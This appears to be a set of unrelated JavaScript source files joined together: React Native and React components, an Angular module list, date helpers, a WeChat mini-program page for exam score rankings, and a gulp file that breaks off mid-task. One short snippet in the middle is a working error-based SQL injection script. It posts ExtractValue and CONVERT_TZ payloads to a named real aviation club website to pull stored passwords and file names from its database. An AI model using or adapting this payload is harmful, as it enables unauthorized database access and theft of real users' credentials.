msg_title:{
fontSize: px2dp(15),
color:'#333',
marginBottom: px2dp(15)
},
msg_time:{
fontSize:px2dp(12),
color: '#8F8F94'
},
img_wrap:{
flexDirection: 'row',
alignItems: 'center'
},
line_25:{
lineHeight:px2dp(25)
},
img_style:{
width: 60,
height:60,
borderRadius:5,
marginBottom:px2dp(10)
},
mr_15:{
marginRight: px2dp(15)
},
state_wrap:{
height: px2dp(30),
borderRadius: px2dp(5),
justifyContent: 'center',
alignItems:'center',
backgroundColor: 'red'
},
deal_state:{
backgroundColor: '#0f882f'
}
});
|
(function () {
'use strict';
/* @ngdoc object
* @name impressum
* @description
*
*/
angular
.module('archiv2017', [
'ui.router',
'slick',
'mm.foundation',
'home',
'0308frauentag',
'0519deutschrock',
'0521tausch',
'062117musique',
'071517kinderfest',
'0902erntedank',
'0908essbar'
]);
}());
|
import React, { Component } from 'react';
import * as Ons from 'react-onsenui';
import styles from 'Styles/ToolBar.scss';
export const ToolBar = props => {
let handleBackClick = navigator => () =>
navigator.popPage();
return (
<Ons.Toolbar className={styles.toolbar}>
<div className="left">
<span
className={styles.toolbar__close}
onClick={handleBackClick(props.navigator)}
>
<ons-icon icon="md-plus" size="30px" />
</span>
</div>
<div className="center">{props.title}</div>
</Ons.Toolbar>
);
};
export default ToolBar
|
App.Location = DS.Model.extend({
title : DS.attr('object')
});
App.Location.FIXTURES = [
{id: 1, title: {SV:'Humanistiska Biblioteket', EN: 'Humanities Library'}},
{id: 2, title: {SV: 'Pedagogiska Biblioteket', EN: 'Education Library'}}
];
|
import React, {Component} from 'react';
import {
View,
StyleSheet,
StatusBar,
ScrollView,
ImageBackground,
Text,
Alert,
AsyncStorage,
TouchableOpacity,
TextInput,
Image,
FlatList,
PanResponder,
Dimensions,
} from 'react-native';
import {SwipeRow, List, Content} from 'native-base';
import {Input, InputProps, Button} from 'react-native-ui-kitten';
import AntIcon from 'react-native-vector-icons/AntDesign';
import {withNavigation, DrawerActions} from 'react-navigation';
import CustomHeader from '../Header/CustomHeader';
import Dash from 'react-native-dash';
import SwipeCards from 'react-native-swipeable-cards';
import * as CONSTANT from '../Constants/Constant';
class TeamListCard extends React.Component {
render() {
return (
<View style={styles.container}>
<View>
<View style={styles.MainTopRatedStyle}>
<View style={styles.ImageLayoutStyle}>
<Image
resizeMode="contain"
style={styles.ImageStyle}
source={this.props.TeamImage}
/>
</View>
<View style={styles.docContentstyle}>
<View style={styles.DocNameArea}>
<Text style={styles.DocName}>{this.props.name}</Text>
</View>
<View style={styles.DocStatusArea}>
<Text style={styles.DocStatusTextOne}>
Status:{' '}
</Text>
<Text
style={styles.DocStatusTextTwo}>
{this.props.status}
</Text>
</View>
</View>
{/* <View
style={styles.DocIconArea}>
<AntIcon name="delete" color={'#ff5851'} size={20} />
</View> */}
</View>
</View>
</View>
);
}
}
export default withNavigation(TeamListCard);
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#ffffff',
elevation: 3,
shadowOffset: {width: 0, height: 2},
shadowOpacity: 0.2,
shadowColor: '#000',
borderRadius: 4,
flexDirection: 'row',
margin: 3,
overflow: 'hidden',
},
MainTopRatedStyle: {
width: '100%',
margin: 10,
flexDirection: 'row',
overflow: 'hidden',
},
ImageStyle: {
height: 60,
width: 60,
position: 'relative',
top: 0,
left: 0,
bottom: 0,
right: 0,
},
docContentstyle: {
flexDirection: 'column',
marginLeft: 10,
alignSelf: 'center',
width: '60%',
},
titleStyle: {
color: '#6cb7f0',
fontSize: 13,
},
ImageLayoutStyle: {
elevation: 4,
shadowColor: '#000',
borderRadius: 4,
overflow: 'hidden',
width: 60,
height: 60,
},
DocName: {
color: '#3d4461',
fontSize: 15,
fontFamily:CONSTANT.PoppinsBold,
},
canvas: {
position: 'absolute',
top: 0,
left: 0,
bottom: 0,
right: 0,
},
DocNameArea: {
flexDirection: 'row',
marginTop: 2
},
DocStatusArea: {
flexDirection: 'row',
marginTop: 4
},
DocStatusTextOne: {
color: '#767676',
fontSize: 13,
marginTop: -2,
fontFamily:CONSTANT.PoppinsMedium,
},
DocStatusTextTwo: {
marginLeft: 5,
color: '#767676',
fontSize: 13,
fontFamily:CONSTANT.PoppinsBold,
marginTop: -2,
},
DocIconArea: {
alignSelf: 'flex-end',
justifyContent: 'center',
backgroundColor: '#fff',
borderTopRightRadius: 2,
borderBottomRightRadius: 2,
height: 60,
width: '25%',
}
});
|
import React, { useState } from "react";
import {
Button,
Modal as ModalArea,
ModalHeader,
ModalBody,
ModalFooter,
Form,
FormGroup,
Input,
Label
} from "reactstrap";
import "./ModalTimeOff.css";
import { firebaseTools } from "../../utils/firebase";
export const ModalTimeOff = ({ typeLabel, daysLabel, className }) => {
const [modal, setModal] = useState(false);
const [startDate, setStartDate] = useState("");
const [finishDate, setFinishDate] = useState("");
const [comment, setComment] = useState("");
const [daysError, setDaysError] = useState(false);
const [startError, setStartError] = useState(false);
const [finishError, setFinishError] = useState(false);
const label = {
everyYearVacation: "Every Year Vacation",
leaveWithoutPay: "Leave Without Pay",
sickLeave: "Sick Leave",
remoteWork: "Remote Work",
conference: "Conference"
};
const toggle = () => {
setStartDate("");
setFinishDate("");
setComment("");
return setModal(!modal);
};
const submit = () => {
firebaseTools.changeStatus("not available");
const sd = new Date(startDate);
const fd = new Date(finishDate);
const today = new Date();
const num = (fd - sd) / (24 * 60 * 60 * 1000) + 1;
if (sd < today) {
setStartError(true);
setFinishError(false);
setDaysError(false);
} else if (fd < sd) {
setStartError(false);
setFinishError(true);
setDaysError(false);
} else if (num > daysLabel) {
setStartError(false);
setFinishError(false);
setDaysError(true);
} else {
setStartError(false);
setFinishError(false);
setDaysError(false);
firebaseTools.dayOffUpdate(typeLabel, daysLabel - num);
firebaseTools.newEvent({
event: label[typeLabel],
startDate: startDate,
finishDate: finishDate,
comment: comment
});
return setModal(!modal);
}
};
return (
<div>
<div className="modal-time-off-button" onClick={toggle}>
<div style={{ fontWeight: "bold" }}>{label[typeLabel]}</div>
<div>{`${daysLabel} days`}</div>
</div>
<ModalArea isOpen={modal} toggle={toggle} className={className}>
<ModalHeader toggle={toggle}>
Request Time Off: {label[typeLabel]}
</ModalHeader>
<ModalBody>
<Form>
<FormGroup>
<Label for="startDate">From</Label>
<Input
type="date"
id="startDate"
value={startDate}
onChange={({ currentTarget: { value } }) => setStartDate(value)}
/>
</FormGroup>
<FormGroup>
<Label for="finishDate">To</Label>
<Input
type="date"
id="finishDate"
value={finishDate}
onChange={({ currentTarget: { value } }) =>
setFinishDate(value)
}
/>
</FormGroup>
<FormGroup>
<Label for="comment">Comment</Label>
<Input
type="text"
id="comment"
value={comment}
onChange={({ currentTarget: { value } }) => setComment(value)}
/>
</FormGroup>
</Form>
</ModalBody>
<ModalFooter>
{daysError && <div>Error: you don't have enough days</div>}
{startError && <div>Error: start date should be in the future</div>}
{finishError && <div>Error: the end should be after the beginning</div>}
<Button color="primary" onClick={submit}>
Submit
</Button>
<Button color="secondary" onClick={toggle}>
Cancel
</Button>
</ModalFooter>
</ModalArea>
</div>
);
};
|
import $ from "jquery";
import "./import/slick/slick.min.js";
import "./import/scroll/jquery.nicescroll.min.js"
import "../blocks/modules/main/main.js";
import "../blocks/modules/catalog/catalog.js";
import "../blocks/modules/info/info.js";
|
var url = 'https://www.aircraftclubs.com/functions/aircraft/getAircraft.php',
id = " ExtractValue(null,substr(concat(0x3a,(SELECT CONCAT(`ACC_PASSWORD`) FROM person WHERE ClubId = 29 limit 0,1)),1)) = 1 ",
id2 = " CONVERT_TZ(1,(SELECT CONCAT(`FileName`) FROM file limit 0,1),1) = 1 ",
id3 = " ExtractValue(null,(SELECT SHOW WARNINGS FROM file limit 0,1),1) = 1 ";
$.ajax({
url:url,
method:'POST',
data:{
id:id,
a:'v'
},
success:function( data, textStatus, jqXHR ){
console.log(data);
},
error:function( jqXHR, textStatus, errorThrown ){
debugger;
}
});
|
$(document).ready(function () {
var years = []
var currYear = new Date().getFullYear()+8;
var dropdown = $(".yearPicker");
years[0] ="";
for (i = 1; i < 101; i++) {
years[i] = currYear + 1 - i;
}
dropdown.each(function () {
var selecteD = dropdown.attr('selectedYear');
var par = this.parentNode;
if (par.className === "w") {
var yearSelector = par.childNodes[1];
var selectedYear = par.firstChild.value;
for (a = 0; a < 101; a++) {
var setSelected = false;
if (selectedYear == years[a]) {
setSelected = true;
};
this[a] = new Option(years[a], years[a], setSelected, setSelected);
};
} else {
for (a = 0; a < 101; a++) {
this[a] = new Option(years[a], years[a]);
}
}
});
});
|
// test all those function
// I may need to rebase it to 00 00 00 time
export const todayDate = () => {
const now = Date.now()
const dateNow = new Date(now);
const year = dateNow.getFullYear()
const month = dateNow.getMonth() + 1
const date = dateNow.getDate()
return `${year}-${month}-${date}`
}
export const oneYearAgoDate = () => {
const now = Date.now()
const oneYearAgoMiliSec = now - 31556952000
const oneYearAgoDateObj = new Date(oneYearAgoMiliSec);
const year = oneYearAgoDateObj.getFullYear()
const month = oneYearAgoDateObj.getMonth() + 1
const date = oneYearAgoDateObj.getDate()
return `${year}-${month}-${date}`
}
export const threeMonthsAgoDate = () => {
const now = Date.now()
const threeMonthsAgoMiliSec = now - (2592000000 * 3)
const threeMonthsAgoDateObj = new Date(threeMonthsAgoMiliSec);
const year = threeMonthsAgoDateObj.getFullYear()
const month = threeMonthsAgoDateObj.getMonth() + 1
const date = threeMonthsAgoDateObj.getDate()
return `${year}-${month}-${date}`
}
export const twoMonthsAgoDate = () => {
const now = Date.now()
const twoMonthsAgoMiliSec = now - (2592000000 * 2)
const twoMonthsAgoDateObj = new Date(twoMonthsAgoMiliSec);
const year = twoMonthsAgoDateObj.getFullYear()
const month = twoMonthsAgoDateObj.getMonth() + 1
const date = twoMonthsAgoDateObj.getDate()
return `${year}-${month}-${date}`
}
export const oneMonthAgoDate = () => {
const now = Date.now()
const oneMonthAgoMiliSec = now - 2592000000
const oneMonthAgoDateObj = new Date(oneMonthAgoMiliSec);
const year = oneMonthAgoDateObj.getFullYear()
const month = oneMonthAgoDateObj.getMonth() + 1
const date = oneMonthAgoDateObj.getDate()
return `${year}-${month}-${date}`
}
export const oneWeekAgoDate = () => {
const now = Date.now()
const oneWeekDateAgoMiliSec = now - (86400000 * 7)
const oneWeekAgoDateObj = new Date(oneWeekDateAgoMiliSec);
const year = oneWeekAgoDateObj.getFullYear()
const month = oneWeekAgoDateObj.getMonth() + 1
const date = oneWeekAgoDateObj.getDate()
return `${year}-${month}-${date}`
}
export const oneDayAgoDate = () => {
const now = Date.now()
const oneDayAgoDateMiliSec = now - 86400000
const oneDayAgoDateObj = new Date(oneDayAgoDateMiliSec);
const year = oneDayAgoDateObj.getFullYear()
const month = oneDayAgoDateObj.getMonth() + 1
const date = oneDayAgoDateObj.getDate()
return `${year}-${month}-${date}`
}
|
import React, { Component } from 'react';
import styles from './GetStarted.module.css';
import Container from '../../Container/Container';
import Link from '../../Link/Link';
class GetStarted extends Component {
render() {
return (
<div className={styles.getStartedWrapper}>
<Container>
<div className={styles.getStarted}>
<div className={styles.title}>It’s free, Get started today</div>
<div className={styles.subtitle}>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.</div>
<div className={styles.linkWrapper}>
<Link text="Get Started" isColored={false} hasBorder={false} />
</div>
</div>
</Container>
</div>
);
}
}
export default GetStarted;
|
var app = getApp();
var api = require("../api.js");
var sensors = require("./../../../utils/sensors.js");
Page({
scrollTop: 0,
canvasData: [],
canvasInfo: {
space: 4,
lineWeight: 2,
scoreColor: "#ffffff",
topSpace: 15
},
data: {
focus: false,
canvasLineImg: "",
currectYear: 0,
openNewVersionYear: 0,
allLoading: true,
showLoad: true,
currentTab: 0,
opacity: 0,
config: null,
canvas: {
w: 350,
h: 120
},
rankDescription: null,
share: false,
navigationText: "位次查询",
navigationHome: true,
sharePageBack: true,
navStatusHeight: app.globalData.navigationCustomStatusHeight,
navCapsuleHeight: app.globalData.navigationCustomCapsuleHeight,
years: [],
subset: [ "文科", "理科" ],
subIndex: 0,
jsSub: [],
jsSubIndex: 0,
index: 0,
score: 0,
scrollH: 0,
userInfo: "",
rankData: [],
intoView: "",
showLoading: false,
showToast: false,
scoreToast: false
},
onLoad: function onLoad(options) {
var userInfo = wx.getStorageSync("userInfo");
this.province = userInfo[0].Province;
this.setData({
userInfo: userInfo,
score: wx.getStorageSync("userScore").total,
rankDescription: app.globalData.infoConfig.rankDescription
});
switch (userInfo[0].courseType) {
case 0:
this.setData({
subIndex: 1
});
break;
default:
this.setData({
subIndex: 0
});
break;
}
this.QueryConfigs(userInfo[0].courseType);
this.getScrollH();
},
//弹窗
toast: function toast() {
this.setData({
showToast: !this.data.showToast
});
},
scoreToast: function scoreToast() {
this.setData({
scoreToast: !this.data.scoreToast
});
},
// 计算dom高度
getScrollH: function getScrollH() {
var that = this;
var item = wx.createSelectorQuery();
item.select("#head").boundingClientRect();
item.exec(function(res) {
that.setData({
scrollH: app.globalData.systemInfo.screenHeight - res[0].height - app.globalData.navigationCustomCapsuleHeight - app.globalData.navigationCustomStatusHeight
});
});
},
backIconButtonTap: function backIconButtonTap() {
// if (this.properties.sharePageBack) {
// wx.switchTab({
// url: '/pages/index/index'
// })
// } else {
wx.navigateBack({
delta: 1
});
// }
},
//切换年份
bindPickerChange: function bindPickerChange(e) {
var _this = this;
this.setData({
index: e.detail.value
}, function() {
if (_this.year != _this.data.years[e.detail.value]) {
_this.year = _this.data.years[e.detail.value];
_this.getCourseType();
_this.JSBatch();
_this.QueryEquivalents();
}
});
},
JSBatch: function JSBatch() {
var that = this;
var jsSub = [];
var jsBzType = [];
var courseIndex = 0;
var configData = this.data.config[this.data.index];
for (var m = 0, n = configData.courses.length; m < n; m++) {
if (configData.courses[m].course == that.course) {
that.bzType = configData.courses[m].bzTypes[0].bzType;
for (var i = 0, j = configData.courses[m].bzTypes.length; i < j; i++) {
jsSub.push(configData.courses[m].bzTypes[i].bzTypeName);
jsBzType.push(configData.courses[m].bzTypes[i].bzType);
}
break;
}
}
this.setData({
jsSubIndex: 0,
jsSub: jsSub,
jsBzType: jsBzType
});
},
getCourseType: function getCourseType() {
if (this.data.config[this.data.index].courses.length > 1) {
this.setData({
subset: [ "文科", "理科" ]
});
this.course = this.data.subIndex == 0 ? 1 : 0;
for (var i = 0, j = this.data.config[this.data.index].courses.length; i < j; i++) {
if (this.course == this.data.config[this.data.index].courses[i].course) {
this.bzType = this.data.config[this.data.index].courses[i].bzTypes[0].bzType;
break;
}
}
} else {
this.setData({
subset: []
});
this.course = -1;
this.bzType = this.data.config[this.data.index].courses[0].bzTypes[0].bzType;
}
// let courseType = this.data.subset[this.data.subIndex];
// if(courseType == "文科"){
// this.course = 1;
// }else if(courseType == '理科'){
// this.course = 0;
// }else{
// this.course = -1;
// }
},
//切换文理科
pickerSub: function pickerSub(e) {
var _this2 = this;
this.setData({
subIndex: e.detail.value
}, function() {
var dataCourse = _this2.data.subIndex == 1 ? 0 : 1;
if (_this2.course != dataCourse) {
_this2.getCourseType();
_this2.JSBatch();
_this2.QueryEquivalents();
}
});
},
pickerJsSub: function pickerJsSub(e) {
var _this3 = this;
this.setData({
jsSubIndex: e.detail.value
}, function() {
if (_this3.bzType != _this3.data.jsBzType[_this3.data.jsSubIndex]) {
_this3.bzType = _this3.data.jsBzType[_this3.data.jsSubIndex];
_this3.QueryEquivalents();
}
});
},
input: function input(e) {
if (e.detail.value == "") {
this.setData({
score: 0
});
} else {
this.setData({
score: parseFloat(e.detail.value)
});
}
},
focusInput: function focusInput() {
this.setData({
focus: true
});
},
bindblur: function bindblur() {
this.setData({
focus: false
});
},
search: function search() {
var _this4 = this;
var that = this;
var yfydsArr = that.data.rankData.yfyds;
// || that.data.score < yfydsArr[yfydsArr.length - 1].minScore
if (that.data.score > yfydsArr[0].maxScore || that.data.score < yfydsArr[yfydsArr.length - 1].minScore) {
wx.showToast({
title: "分数范围" + yfydsArr[yfydsArr.length - 1].minScore + "-" + yfydsArr[0].maxScore,
icon: "none"
});
return;
}
that.QueryEquivalents();
var scoreInto = this.data.score;
var list = [];
that.data.rankData.yfyds.map(function(item) {
list.push(item.score);
});
list.map(function(i) {
if (list.indexOf(_this4.data.score) == -1) {
if (typeof i == "string") {
var arr = i.split("~");
if (parseFloat(arr[0]) < parseFloat(that.data.score) && parseFloat(that.data.score) < parseFloat(arr[1])) {
scoreInto = arr[0];
}
}
}
});
if (typeof list[0] == "string") {
var ar = list[0].split("~");
if (that.data.score > ar[1]) {
scoreInto = ar[0];
}
} else if (typeof list[0] == "number") {
if (that.data.score > list[0]) {
scoreInto = list[0];
}
}
if (that.data.score < that.data.rankData.yfyds[that.data.rankData.yfyds.length - 1].score) {
scoreInto = that.data.rankData.yfyds[that.data.rankData.yfyds.length - 1].score;
}
this.setData({
intoView: scoreInto
});
var SA_years = that.data.years[that.data.index] + "";
var SA_score_value = that.data.score;
var SA_subject = that.data.subset.length > 0 ? that.data.subset[that.data.subIndex] : "不限";
var SA_rank_value = "";
var SA_persons = 0;
var SA_province = that.data.userInfo[0].ProvinceName;
var yfyds = that.data.rankData.yfyds;
for (var i = 0; i < yfyds.length; i++) {
if (scoreInto == yfyds[i].minScore) {
SA_rank_value = yfyds[i].lowestRank;
SA_persons = yfyds[i].sameNumber;
break;
}
}
var data = {
SA_years: SA_years,
SA_score_value: SA_score_value,
SA_subject: SA_subject,
SA_rank_value: SA_rank_value,
SA_persons: SA_persons,
SA_province: SA_province
};
app.sensors.track("RankInquire", sensors.RankInquire(data));
},
// 图表初始化数据
canvasInit: function canvasInit() {
var that = this;
var w = that.data.canvas.w;
var h = that.data.canvas.h;
var space = that.canvasInfo.space;
//空隙
var bgW = w / 25 - space;
var bgH = h - 30;
//高
var ctx = wx.createCanvasContext("line");
// ctx.clearRect(0, 0, w, h);
drawBg();
drawLine();
ctx.draw(false, function() {
that.canvasBatch(ctx);
//绘制批次
});
// 绘制背景
function drawBg() {
var grd = ctx.createLinearGradient(0, 15, 0, bgH + 15);
grd.addColorStop(0, "rgba(255,255,255,0.02)");
grd.addColorStop(1, "rgba(255,255,255,0.3)");
ctx.setFillStyle(grd);
for (var i = 0, j = 25; i < j; i++) {
// ctx.setFillStyle(grd);
ctx.fillRect(i * (bgW + space), 15, bgW, bgH);
}
}
// 绘制曲线
function drawLine() {
var data = that.canvasData;
var MaxY = Math.max.apply(Math, data.map(function(item) {
return item.num;
}));
//取数据中num最大的，为Y轴最大值
var mData = [];
for (var _i = 0, j = data.length; _i < j; _i++) {
mData.push(data[_i].num);
}
var points = [];
for (var _i2 = 0; _i2 < 25; _i2++) {
points.push({
x: _i2 * bgW + _i2 * space + bgW / 2,
y: h - 15 - (bgH - that.canvasInfo.topSpace) / MaxY * mData[_i2]
});
}
that.points = points;
// 绘制线
ctx.setStrokeStyle("#FFD580");
ctx.setLineWidth(that.canvasInfo.lineWeight);
ctx.setLineCap("round");
var int = 0;
var point = getControlPoint(points);
ctx.moveTo(points[0].x, points[0].y);
for (var i = 0; i < points.length; i++) {
if (i == 0) {
ctx.quadraticCurveTo(point[0].x, point[0].y, points[1].x, points[1].y);
int = int + 1;
} else if (i < points.length - 2) {
ctx.bezierCurveTo(point[int].x, point[int].y, point[int + 1].x, point[int + 1].y, points[i + 1].x, points[i + 1].y);
int += 2;
} else if (i == points.length - 2) {
ctx.quadraticCurveTo(point[point.length - 1].x, point[point.length - 1].y, points[points.length - 1].x, points[points.length - 1].y);
}
}
ctx.stroke();
}
},
// 绘制当前文理批次背景，单拿出来方便操作
canvasBatch: function canvasBatch(ctx) {
var that = this;
var score = that.data.score;
var data = that.canvasData;
var points = that.points;
var w = that.data.canvas.w;
var h = that.data.canvas.h;
var subIndex = that.data.subIndex;
var batch = that.batch;
var space = that.canvasInfo.space;
//空隙
var bgW = w / 25 - space;
var bgH = h - 30;
//高
ctx.setTextAlign("center");
ctx.setLineWidth(1);
// ctx.setStrokeStyle(that.canvasInfo.scoreColor);
ctx.setFontSize(8);
// *******绘制批次********
for (var m = 0, n = batch.length; m < n; m++) {
for (var i = 0, j = data.length; i < j; i++) {
if (batch[m].score >= data[i].minS && batch[m].score <= data[i].maxS) {
ctx.setTextBaseline("top");
ctx.setFillStyle("rgba(255,255,255,0.3)");
ctx.fillRect(i * (bgW + space), 15 + bgH / 2, bgW, bgH / 2);
if (points[i].x < 10) {
ctx.setTextAlign("left");
ctx.setFillStyle("rgba(255,255,255,1)");
ctx.fillText(batch[m].batchName, 0, 10);
} else {
ctx.setFillStyle("rgba(255,255,255,1)");
ctx.fillText(batch[m].batchName, points[i].x, 10);
}
break;
}
}
}
ctx.draw(true, function() {
that.canvasScore(ctx);
//绘制分数的圆点
});
// ********绘制批次结束********
},
// 绘制当前分数点，单拿出来方便操作
canvasScore: function canvasScore(ctx) {
var that = this;
var score = that.data.score;
var data = that.canvasData;
var points = that.points;
var w = that.data.canvas.w;
var h = that.data.canvas.h;
var space = that.canvasInfo.space;
//空隙
var bgW = w / 25 - space;
var bgH = h - 30;
//高
// ********绘制分数的圆点********
ctx.setLineWidth(1);
ctx.setTextBaseline("bottom");
ctx.setFontSize(8);
// ctx.setStrokeStyle(that.canvasInfo.scoreColor);
var leftX = 0;
if (score < that.data.rankData.yfyds[that.data.rankData.yfyds.length - 1].minScore) {
ctx.setTextAlign("left");
ctx.fillText(that.canvasData[0].maxS, 0, h - 3);
} else {
for (var i = 0, j = data.length; i < j; i++) {
// if (score < data[0].minS) {
// leftX = points[0].x;
// ctx.setFillStyle('#FFD580');
// ctx.fillRect(i * (bgW + space), points[0].y, bgW, bgH - points[0].y + 15);
// ctx.setFillStyle('#ffffff');
// ctx.setShadow(0, 0, 5, 'rgba(255,213,128,0.4)');
// if (points[0].y < 10) {
// ctx.setTextAlign('left');
// }
// ctx.arc(points[0].x, points[0].y, 5, 0, 2 * Math.PI);
// ctx.fill();
// ctx.fillText(score, 0, h - 3);
// break;
// } else
if (score >= data[i].minS && score <= data[i].maxS) {
leftX = points[i].x;
ctx.setFillStyle("#FFD580");
ctx.fillRect(i * (bgW + space), points[i].y, bgW, bgH - points[i].y + 15);
ctx.setFillStyle("#ffffff");
ctx.setShadow(0, 0, 5, "rgba(255,213,128,0.4)");
ctx.arc(points[i].x, points[i].y, 5, 0, 2 * Math.PI);
ctx.setTextAlign("center");
if (score >= 0 && score <= 750) {
if (points[i].x < 10) {
ctx.setTextAlign("left");
ctx.fillText(score, 0, h - 3);
} else {
ctx.fillText(score, points[i].x, h - 3);
}
}
ctx.fill();
break;
}
}
}
if (leftX > 20) {
ctx.setTextAlign("left");
ctx.fillText(that.canvasData[0].maxS, 0, h - 3);
}
if (w - leftX > 30) {
ctx.setTextAlign("right");
ctx.fillText(that.canvasData[24].minS, w, h - 3);
}
ctx.stroke();
ctx.draw(true, function() {
setTimeout(function() {
wx.canvasToTempFilePath({
x: 0,
y: 0,
width: that.data.canvas.w,
height: that.data.canvas.h,
destWidth: that.data.canvas.w * 2,
destHeight: that.data.canvas.h * 2,
canvasId: "line",
success: function success(res) {
that.setData({
canvasLineImg: res.tempFilePath
});
}
});
}, 200);
});
// ********绘制分数的圆点结束********
},
QueryEquivalents: function QueryEquivalents() {
var _this5 = this;
var that = this;
that.setData({
showLoad: true
});
var data = {
provinceId: that.province,
year: that.year,
bzType: that.bzType,
course: that.course,
score: that.data.score,
isFillPcl: true,
isFillYFYD: true
};
api.QueryEquivalents("ScoreLines/YFYD/QueryEquivalents", "POST", data).then(function(res) {
if (res.isSuccess) {
that.batch = res.result.plcs;
if (res.result.yfyds) {
that.canvasData = [];
res.result.yfyds.sort(function(a, b) {
return b.maxScore - a.maxScore;
});
res.result.yfyds.map(function(item) {
item.score = item.minScore == item.maxScore ? item.maxScore : item.minScore + "~" + item.maxScore;
});
var yfydsArr = res.result.yfyds;
var num = parseInt((yfydsArr[0].maxScore - yfydsArr[yfydsArr.length - 1].minScore) / 25);
/* 等分成25份 */ var currentIndex = yfydsArr.length - 1;
var minS = 0;
var maxS = 0;
for (var i = 0, j = 25; i < j; i++) {
var sameNumber = 0;
var m = 0;
if (i == 24) {
while (1) {
if (currentIndex < 0) {
break;
}
if (m == 0) {
maxS = yfydsArr[currentIndex].maxScore;
}
sameNumber += yfydsArr[currentIndex].sameNumber;
var yfydScore = yfydsArr[currentIndex].maxScore - yfydsArr[currentIndex].minScore + 1;
m += yfydScore;
minS = yfydsArr[currentIndex].minScore;
--currentIndex;
}
} else {
while (m < num) {
if (currentIndex < 0) {
break;
}
if (m == 0) {
minS = yfydsArr[currentIndex].minScore;
}
sameNumber += yfydsArr[currentIndex].sameNumber;
var _yfydScore = yfydsArr[currentIndex].maxScore - yfydsArr[currentIndex].minScore + 1;
m += _yfydScore;
maxS = yfydsArr[currentIndex].maxScore;
--currentIndex;
}
}
that.canvasData.push({
maxS: maxS,
minS: minS,
num: sameNumber
});
}
that.canvasData.reverse();
}
res.result.equivalents.sort(function(a, b) {
return b.year - a.year;
});
var equivalents = [ [], [] ];
for (var _i3 = 0, _j = res.result.equivalents.length; _i3 < _j; _i3++) {
if (res.result.equivalents[_i3].course == 0) {
equivalents[0].push(res.result.equivalents[_i3]);
} else {
equivalents[1].push(res.result.equivalents[_i3]);
}
}
_this5.setData({
equivalents: equivalents,
rankData: res.result,
showLoading: false
}, function() {
if (res.result.yfyds) {
that.canvasInit();
}
});
that.setData({
showLoad: false
});
} else {
wx.showToast({
title: res.message,
icon: "none"
});
that.setData({
showLoad: false
});
}
});
},
// 查询一分一段年份及分类配置
QueryConfigs: function QueryConfigs(course) {
var that = this;
api.QueryConfigs("ScoreLines/YFYD/QueryConfigs", "POST", that.province).then(function(res) {
var currectDate = new Date();
var currectYear = currectDate.getFullYear();
that.setData({
config: res.result.years.reverse(),
openNewVersionYear: res.result.openNewVersionYear,
currectYear: currectYear
});
var data = res.result.years;
var year = [];
var courseIndex = 0;
for (var i = 0, j = data[0].courses.length; i < j; i++) {
if (data[0].courses[i].course == course) {
courseIndex = i;
break;
}
}
for (var _i4 = 0, _j2 = data.length; _i4 < _j2; _i4++) {
year.push(data[_i4].year);
}
that.year = data[0].year;
that.course = data[0].courses.length > 1 ? data[0].courses[courseIndex].course : -1;
that.bzType = data[0].courses[courseIndex].bzTypes[0].bzType;
if (that.course == -1) {
that.setData({
subset: []
});
}
if (data[0].courses.length <= 1) {
that.setData({
subset: []
});
}
var jsSub = [];
var jsBzType = [];
for (var _i5 = 0, _j3 = data[0].courses[courseIndex].bzTypes.length; _i5 < _j3; _i5++) {
jsSub.push(data[0].courses[courseIndex].bzTypes[_i5].bzTypeName);
jsBzType.push(data[0].courses[courseIndex].bzTypes[_i5].bzType);
}
that.setData({
years: year,
jsSub: jsSub,
jsBzType: jsBzType,
allLoading: false
});
that.QueryEquivalents();
});
},
onPageScroll: function onPageScroll(e) {
this.setData({
opacity: e.scrollTop
});
},
swiperNav: function swiperNav(e) {
this.setData({
currentTab: e.currentTarget.dataset.current
});
},
// 切换选项卡
changeSwiper: function changeSwiper(e) {
this.setData({
currentTab: e.detail.current
});
}
});
// 折线变曲线
var Vector2 = function Vector2(x, y) {
this.x = x;
this.y = y;
};
Vector2.prototype = {
length: function length() {
return Math.sqrt(this.x * this.x + this.y * this.y);
},
normalize: function normalize() {
var inv = 1 / this.length() == Infinity ? 0 : 1 / this.length();
return new Vector2(this.x * inv, this.y * inv);
},
add: function add(v) {
return new Vector2(this.x + v.x, this.y + v.y);
},
multiply: function multiply(f) {
return new Vector2(this.x * f, this.y * f);
},
dot: function dot(v) {
return this.x * v.x + this.y * v.y;
},
angle: function angle(v) {
return Math.acos(this.dot(v) / (this.length() * v.length())) * 180 / Math.PI;
}
};
function getControlPoint(path) {
var rt = .3;
var count = path.length - 2;
var arr = [];
for (var i = 0; i < count; i++) {
var a = path[i];
var b = path[i + 1];
var c = path[i + 2];
var v1 = new Vector2(a.x - b.x, a.y - b.y);
var v2 = new Vector2(c.x - b.x, c.y - b.y);
var v1Len = v1.length();
var v2Len = v2.length();
var centerV = v1.normalize().add(v2.normalize()).normalize();
var ncp1 = new Vector2(centerV.y, centerV.x * -1);
var ncp2 = new Vector2(centerV.y * -1, centerV.x);
if (ncp1.angle(v1) < 90) {
var p1 = ncp1.multiply(v1Len * rt).add(b);
var p2 = ncp2.multiply(v2Len * rt).add(b);
arr.push(p1, p2);
} else {
var _p = ncp1.multiply(v2Len * rt).add(b);
var _p2 = ncp2.multiply(v1Len * rt).add(b);
arr.push(_p2, _p);
}
}
return arr;
}
|
import React, { useState } from 'react';
import AddCategory from './AddCategory';
import AllCategories from './AllCategories';
import EditCategory from './EditCategory';
const CategoriesPage = () => {
const [show, setShow] = useState(false);
const [updateIndex, setUpdateIndex] = useState(-1);
return (
<div className="container-fluid mt-5">
<p className="h3">Categories</p>
<div className="row mt-4 ">
<div className="col-xl-5 border-end me-5 adm-addCategory">
{/* Add Category Form */}
<div className="h5">Add New Category</div>
<AddCategory />
</div>
<div className="col-xl-5 ms-5 adm-viewCategory">
{/* View All Categories */}
<div className="h5">All Categories</div>
<AllCategories setShow={setShow} setUpdateIndex={setUpdateIndex} />
</div>
{/* Edit Category Modal */}
<EditCategory
show={show} setShow={setShow}
updateIndex={updateIndex} setUpdateIndex={setUpdateIndex} />
</div>
</div>
);
}
export default CategoriesPage;
|
'use strict';
var gulp = require('gulp'),
nodemon = require('gulp-nodemon'),
// LiveServer = require('gulp-live-server'),
browserSync = require('browser-sync'),
browserify = require('browserify'),
source = require('vinyl-source-stream'),
reactify = require('reactify');
gulp.task('default', ['browser-sync'], function () {
// gulp.watch("public/jsx/*.jsx", ['bundle'])
